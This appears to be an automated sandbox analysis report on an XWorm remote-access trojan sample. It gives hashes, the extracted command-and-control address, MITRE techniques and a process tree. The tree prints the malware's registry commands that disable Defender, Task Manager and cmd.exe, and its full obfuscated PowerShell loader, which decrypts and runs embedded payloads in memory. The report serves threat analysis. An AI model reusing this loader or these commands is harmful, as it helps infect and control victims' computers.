xworm | 061282d0c5d8967e46c0b0739488fbefd996615a9059844274b1cb4df83b52bb

Analysis

max time kernel
42s
max time network
45s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
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18-11-2024 02:09

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General

Target

menu.exe
Size

309KB
MD5

b7a65ac9cc1f6ac490080b604dca0209
SHA1

40faa498a2e24a65b8ba74fd8123e63e2432f71f
SHA256

061282d0c5d8967e46c0b0739488fbefd996615a9059844274b1cb4df83b52bb
SHA512

fea5efae6766efd76d1b504ea516dd14eef955e84fec12a9035752366b7d36e078064b2088e04bee30ce267baa899a1b87f5a023316e59d4ecba7387a61943ed
SSDEEP

6144:QGXEB3uR4D7P05EkRTwEur5447h/PcHnUSFIT7JHoI0E7YPWs3kZy:QapW/PqbTw3FcHUSFU1v0E7v

Score

10^/10

xworm evasion execution persistence rat trojan

Malware Config

Extracted

Family

xworm

85.209.133.220:111

Attributes

Install_directory
%Userprofile%
install_file
system.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/2252-27-0x000002621A540000-0x000002621A556000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
14	2252	powershell.exe
21	2252	powershell.exe

Blocks application from running via registry modification 3 IoCs

Adds application to list of disallowed applications.

evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun = "1"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\1 = "powershell.exe"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2252	powershell.exe

Disables Task Manager via registry modification
evasion

Disables cmd.exe use via registry modification 1 IoCs

evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD = "1"	reg.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	menu.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.lnk	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\system = "C:\\Users\\Admin\\system.exe"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
13	ip-api.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\compmgmt.msc	mmc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings	menu.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2252	powershell.exe
2252	powershell.exe
2252	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
720	mmc.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	2252	powershell.exe
Token: SeDebugPrivilege	2252	powershell.exe
Token: 33	720	mmc.exe
Token: SeIncBasePriorityPrivilege	720	mmc.exe
Token: 33	720	mmc.exe
Token: SeIncBasePriorityPrivilege	720	mmc.exe
Token: SeSecurityPrivilege	720	mmc.exe
Token: 33	720	mmc.exe
Token: SeIncBasePriorityPrivilege	720	mmc.exe
Token: 33	720	mmc.exe
Token: SeIncBasePriorityPrivilege	720	mmc.exe
Token: 33	720	mmc.exe
Token: SeIncBasePriorityPrivilege	720	mmc.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2252	powershell.exe
720	mmc.exe
720	mmc.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 3668 wrote to memory of 520	3668	menu.exe	83
PID 3668 wrote to memory of 520	3668	menu.exe	83
PID 3668 wrote to memory of 1368	3668	menu.exe	85
PID 3668 wrote to memory of 1368	3668	menu.exe	85
PID 3668 wrote to memory of 3684	3668	menu.exe	87
PID 3668 wrote to memory of 3684	3668	menu.exe	87
PID 520 wrote to memory of 3168	520	cmd.exe	88
PID 520 wrote to memory of 3168	520	cmd.exe	88
PID 3168 wrote to memory of 1352	3168	net.exe	89
PID 3168 wrote to memory of 1352	3168	net.exe	89
PID 520 wrote to memory of 4568	520	cmd.exe	90
PID 520 wrote to memory of 4568	520	cmd.exe	90
PID 520 wrote to memory of 1968	520	cmd.exe	91
PID 520 wrote to memory of 1968	520	cmd.exe	91
PID 520 wrote to memory of 3468	520	cmd.exe	92
PID 520 wrote to memory of 3468	520	cmd.exe	92
PID 520 wrote to memory of 392	520	cmd.exe	93
PID 520 wrote to memory of 392	520	cmd.exe	93
PID 520 wrote to memory of 756	520	cmd.exe	94
PID 520 wrote to memory of 756	520	cmd.exe	94
PID 520 wrote to memory of 3732	520	cmd.exe	95
PID 520 wrote to memory of 3732	520	cmd.exe	95
PID 520 wrote to memory of 1816	520	cmd.exe	96
PID 520 wrote to memory of 1816	520	cmd.exe	96
PID 520 wrote to memory of 4640	520	cmd.exe	97
PID 520 wrote to memory of 4640	520	cmd.exe	97
PID 1368 wrote to memory of 2252	1368	cmd.exe	101
PID 1368 wrote to memory of 2252	1368	cmd.exe	101

C:\Users\Admin\AppData\Local\Temp\menu.exe
"C:\Users\Admin\AppData\Local\Temp\menu.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3668
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\load.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:520
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3168
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:1352
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d 1 /f
    3⤵
    PID:4568
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableCMD" /t REG_DWORD /d 1 /f
    3⤵
    - Disables cmd.exe use via registry modification
    PID:1968
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:3468
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDrives" /t REG_DWORD /d 4 /f
    3⤵
    PID:392
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Installer" /v "DisableMSI" /t REG_DWORD /d 1 /f
    3⤵
    PID:756
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:3732
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "DisallowRun" /t REG_DWORD /d 1 /f
    3⤵
    - Blocks application from running via registry modification
    PID:1816
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v "1" /t REG_SZ /d "powershell.exe" /f
    3⤵
    - Blocks application from running via registry modification
    PID:4640
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\loader.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1368
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IRcHV6wpyUlV7FCq3bjBVC6HnvFYqZVt3VMM1/rthAU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ot9DBajrhd5olnzo/saVIg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $DyDjK=New-Object System.IO.MemoryStream(,$param_var); $nXYTA=New-Object System.IO.MemoryStream; $riGTr=New-Object System.IO.Compression.GZipStream($DyDjK, [IO.Compression.CompressionMode]::Decompress); $riGTr.CopyTo($nXYTA); $riGTr.Dispose(); $DyDjK.Dispose(); $nXYTA.Dispose(); $nXYTA.ToArray();}function execute_function($param_var,$param2_var){ $dwlZo=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $UVtXb=$dwlZo.EntryPoint; $UVtXb.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\loader.bat';$InQWi=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\loader.bat').Split([Environment]::NewLine);foreach ($XQbNl in $InQWi) { if ($XQbNl.StartsWith(':: ')) { $WcJMs=$XQbNl.Substring(3); break; }}$payloads_var=[string[]]$WcJMs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Drops startup file
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:2252
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\ran.vbs"
  2⤵
  PID:3684

C:\Windows\system32\mmc.exe
"C:\Windows\system32\mmc.exe" "C:\Windows\system32\compmgmt.msc" /s
1⤵
- Drops file in System32 directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tqo3rzcw.ezz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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C:\Users\Admin\AppData\Roaming\load.bat

Filesize
1KB

MD5
cf08811b97cdd3d57685a7841a40e2d4

SHA1
faefa9b229e81eef5d200799c39b5db5511922d2

SHA256
7f27ffda0644c500961f965c6f403f54c41c6df7fb685020cf98f7be6fd5082c

SHA512
695e45bc85be611ca90e92ff5502a707e6ec298f31b6113be2537be78beda222d52751f090b0dda752e2880ac08c62c6d80f4fdd371b2721f1c728d9ebd1002a

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C:\Users\Admin\AppData\Roaming\loader.bat

Filesize
291KB

MD5
d05f7937bc9eef5bf3042a8a2ecd2f08

SHA1
15230c5d5506e80ac6cecd06a21bea1a44aeef08

SHA256
b981829c3b1026c432c08bc8a65bc1a848750596e01a065bcacef49c128f7226

SHA512
42954c12e551ff742ab466b416f805d93632cafab1bd2c825b16dcb4f838d7914e61e84cf46744d081d0e6424a3afd335cd169cf8e9c0b6d83733f45eba71c95

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C:\Users\Admin\AppData\Roaming\ran.vbs

Filesize
4KB

MD5
be03bd7bd0315142da6482ee8075f97d

SHA1
44242df82433922b5dae792842d18da1eccac112

SHA256
f245b406955a4a335f5eb76ef8e48958c55be9e7e667545e95602440c64ee9ae

SHA512
55230398878d8cbca4b14a93b9e5cae00790f845140f28c9c82c622e7bc53eb4c9875de281eb3ba280478cbecbe56eb6a1720832e9afc6607daeafb83f83e7e9

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memory/2252-24-0x000002627E240000-0x000002627E262000-memory.dmp

Filesize
136KB

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memory/2252-25-0x000002621A4D0000-0x000002621A4D8000-memory.dmp

Filesize
32KB

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memory/2252-26-0x000002621A4E0000-0x000002621A518000-memory.dmp

Filesize
224KB

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memory/2252-27-0x000002621A540000-0x000002621A556000-memory.dmp

Filesize
88KB

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memory/3668-0-0x00007FFD50683000-0x00007FFD50685000-memory.dmp

Filesize
8KB

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memory/3668-1-0x0000000000EF0000-0x0000000000F44000-memory.dmp

Filesize
336KB

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